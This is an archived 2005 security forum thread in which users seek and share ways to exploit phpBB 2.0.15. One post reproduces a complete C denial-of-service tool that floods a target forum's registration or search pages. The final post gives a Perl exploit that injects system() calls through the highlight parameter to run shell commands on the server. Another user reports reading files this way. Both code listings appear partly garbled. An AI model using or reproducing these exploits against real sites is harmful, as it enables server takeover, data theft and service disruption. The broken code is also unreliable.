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www.waraxe.us Forum Index -> PhpBB -> phpBB 2.0.15 PHP-code injection bug
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phpBB 2.0.15 PHP-code injection bug
PostPosted: Wed Jun 29, 2005 6:31 am Reply with quote
Regular user
Regular user
Joined: May 30, 2004
Posts: 7

I have tried to figure out a way to exploit this vulnerability since the minute it was posted at bugtraq


Any help will be great

Where will you be, the day after tomorrow?
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PostPosted: Wed Jun 29, 2005 11:22 am Reply with quote
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477

If you want to use an exploit that is great and works for phpbb 2.0.15 then get [N]eo [S]ecurity [T]eam [NST]? - Advisory #15 - 00/00/06.
You must then compile I use cygwin and compiled while emulating Linux on Windows.
It works perfectly...... I'm well on my way to porting my self fully to Linux and this has just increased my determination.

This exploit is working for me exactly as it is here:
[N]eo [S]ecurity [T]eam [NST]? - Advisory #15 - 00/00/06
Program: phpBB 2.0.15
Homepage: http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.15 & Lower versions
Risk: High Risk!!
Impact: Multiple DoS Vulnerabilities.

-==phpBB 2.0.15 Multiple DoS Vulnerabilities ==-

- Description
phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

- Tested
localhost & many forums

- Explotation
profile.php << By registering as many users as you can.
search.php << by searching in a way that the db couln't observe it.

- Exploit
[C Source]
Name: NsT-phpBBDoS
Copyright: NeoSecurityteam
Author: HaCkZaTaN
Date: 19/06/05
Description: xD You must figure out the problem xD

root@NeoSecurity:/home/hackzatan# pico NsT-phpBBDoS.c
root@NeoSecurity:/home/hackzatan# gcc NsT-phpBBDoS.c -o NsT-phpBBDoS
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN
[+] NeoSecurityTeam
[+] Dos has begun....[+]

[*] Use: ./NsT-phpBBDoS <path> <search.php or profile.php> <Host>
[*] Example: ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN
[+] NeoSecurityTeam
[+] Dos has begun....[+]

root@NeoSecurity:/home/hackzatan# echo "Let see how many users I have created"
root@NeoSecurity:/home/hackzatan# set | grep MACHTYPE


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define __USE_GNU

int Connection(char *, int);
void Write_In(int , char *, char *a, char *, int);
char Use(char *);

int main(int argc, char *argv[])
int sock, x = 0;
char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];

puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN");
puts("[+] NeoSecurityTeam");
puts("[+] Dos has begun....[+]\n");

if(argc != 4) Use(argv[0]);

sock = Connection(Host,80);
Write_In(sock, Path, Pro_Sea, Host, x);
#ifndef WIN32
shutdown(sock, SHUT_WR);
Pro_Sea = argv[2];
//I don't think that it will get here =)

return 0;

int Connection(char *Host, int Port)
#ifndef WIN32
#define SOCKET int
int error;
WSADATA wsadata;
error = WSAStartup(MAKEWORD(2, 2), &wsadata);

if (error == SOCKET_ERROR)
perror("Could Not Start Up Winsock!\n");


SOCKET sockfd;
struct sockaddr_in sin;
struct in_addr *myaddr;
struct hostent *h;

if(Port <= 0 || Port > 65535)
puts("[-] Invalid Port Number\n");

if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
perror("socket() ");
fflush (stdout);

if((h = gethostbyname(Host)) == NULL)
perror("gethostbyname() ");
fflush (stdout);
myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));

if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
perror("gethostbyaddr() ");
fflush (stdout);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(Port);
memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0)
perror("connect() ");
exit (-1);

return sockfd;

void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.Cool Gecko/20050511 Firefox/1.0.4\r\n"
"Accept: */*\r\n"
"Accept-Language: en-us\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Accept encoding: gzip,deflate\r\n"
"Keep-Alive: 300\r\n"
"Proxy-Connection: keep-alive\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Cache-Control: no-cache\r\n"
"Pragma: no-cache\r\n";
char *Profile = "%40neosecurityteam.net&new_password=0123456&password_confirm=0123456
char *Search = "&search_terms=any&search_author=*&search_forum=-1&search_time=0&search_fields=all&search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&return_chars=200\r\n";

if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1, "username=NsT__%d&email=NsT__%d%s", x, x, Profile);
else if(strcmp("search.php", Pro_Sea) == 0)
Pro_Sea = "search.php?mode=results";
sprintf(str1, "search_keywords=Hack%d%s", x, Search);
puts("Sorry. Try making the right choice");

sprintf(str2, "POST %s%s HTTP/1.1\r\n"
"Host: %s\r\n"
"Referer: http://%s/\r\n%s"
"Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0, strlen(str1), str1);

write(sock, str2, strlen(str2));
write(1, ".", 1);

char Use(char *program)
fprintf(stderr,"[*] Use: %s <path> <search.php or profile.php> <Host>\n", program);
fprintf(stderr,"[*] Example: %s /phpBB/ profile.php Victimshost.com\n", program);





?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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Re: phpBB 2.0.15 PHP-code injection bug
PostPosted: Wed Jun 29, 2005 12:40 pm Reply with quote
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu

xt33nx wrote:
I have tried to figure out a way to exploit this vulnerability since the minute it was posted at bugtraq


Any help will be great

I saw this newest phpbb security hole in bugtraq yesterday and right now working on phpnuke/phpbb patch against it.
This is fuc*king unbelievable - once again "higlight" bug is incarnating from ashes!!! WTF, i mean...
OK, there was "urldecode()" function, that inducted security hole for double hexencoded single quotes to poison the "preg_replace" function.
Now what? There is no more urldecode() function in phpbb highlight processing routine...
Goddamn, it's time to phpbb developers to rewrite that highlight thingy WITHOUT using "preg_replace", so there will be no more critical highlight bugs in future.

Shai-tan - exploit, you have referred, is previous one - simple DoS script. This stuff, i have commented, is brand new Smile



phpBB Group announces the release of phpBB 2.0.16.
This release addresses some bugfixes and one critical security issue.


Fixed critical issue with highlighting - Discovered and fix provided by Ron van Daal

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PostPosted: Wed Jun 29, 2005 1:36 pm Reply with quote
Advanced user
Advanced user
Joined: Apr 13, 2005
Posts: 52

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PostPosted: Wed Jun 29, 2005 5:50 pm Reply with quote
Regular user
Regular user
Joined: Jun 27, 2005
Posts: 22

It's only the
part that matters right? (works with all topics?)
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PostPosted: Thu Jun 30, 2005 1:49 am Reply with quote
Joined: Jun 12, 2005
Posts: 3

there is an xpl out on milworms site,

the xploit afaik works only on .15 forums since there was a highlight change from .14.
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PostPosted: Tue Jul 05, 2005 12:05 pm Reply with quote
Advanced user
Advanced user
Joined: Mar 13, 2005
Posts: 61

and what about using system ? i tryied and it works, but only with commands without spaces in them for example:
ls => works
cat config.php => doesn't work
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PostPosted: Thu Jul 07, 2005 8:06 pm Reply with quote
Regular user
Regular user
Joined: Dec 05, 2004
Posts: 17
Location: Poland

try this

# Wed Jun 29 19:08:04 CEST 2005 dab@digitalsec.net
# phpBB 2.0.15 -re-bug in viewtopic.php
# The complete Open Source Development with CVS: GNU General Public License
# Book on using CVS effectively  <---------  cvs, is also GPL
# or http://www.google.es/search?q=programming+howto
# Example: ./phpbb2_0_15.pl http://www.server.com/viewtopic.php?t=1
# You can start typing commands.
# Tested in BSD. Theo.. it works!
# !dSR: que todos los hackers digan YO!!

use strict;
use IO::Socket;

unless ($ARGV[0]) { print "$0 <viewtopic url>\n"; exit(1); }

$ARGV[0] =~ m!http://(.*?)/(.*?t=\d+)!;
my ($server, $port) = split (/:/,$1);
$port   = 80 unless defined($port);
$server  = $1 unless defined($server);
my ($url, $command) = $2;

print "$server - $port - $url\n";

while () {
      print "phpBB2.0.15> ";
      while(<STDIN>) {

sub send {
    my $ok   =   0;
    my $cmd   = "echo \"#PHPBBEXPLOIT#\";".$_[0].";echo \"#PHPBBEXPLOIT#\"";
    my $string  = "GET /$url&highlight='.system(getenv(HTTP_PHP)).' HTTP/1.1\n".
               "Host: $server\nPHP: $cmd\n\n\n\n";
    my $socket = IO::Socket::INET->new(PeerAddr => $server,
            PeerPort => $port,
            Proto    => "tcp",
            Type     => SOCK_STREAM)
            or die "can't connect to: $server : $@\n";
   print $socket $string;
   while(<$socket>) {
      if (/#PHPBBEXPLOIT#/) {
            close($socket) and last if $ok eq 2;
      print if $ok eq "1";
exit 0;

work perfect with 'cat xxx'
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phpBB 2.0.15 PHP-code injection bug
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